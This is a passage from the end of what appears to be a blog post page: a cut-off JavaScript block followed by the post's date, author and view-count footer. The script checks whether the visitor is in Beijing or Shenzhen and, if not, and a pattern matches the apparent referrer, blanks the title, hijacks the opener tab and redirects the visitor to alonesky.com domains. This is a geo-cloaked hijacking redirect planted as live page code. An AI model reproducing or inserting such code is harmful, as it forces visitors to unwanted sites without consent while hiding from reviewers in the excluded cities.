if(lo == '北京市'||lo =='深圳'||lc == '北京市'||lc =='深圳'){ 
}else{ 
if(regexp.test(where)){
window.document.title ='';
if(parent.window.opener){
parent.window.opener.location="http://www.alonesky.com/";
}
window.location.href="http://video.alonesky.com/";
}else{
 
}
}
</script>
 
 
 
posted @ 2018-10-31 09:11  日出的幻景  阅读(765)  评论(0编辑  收藏  举报
Top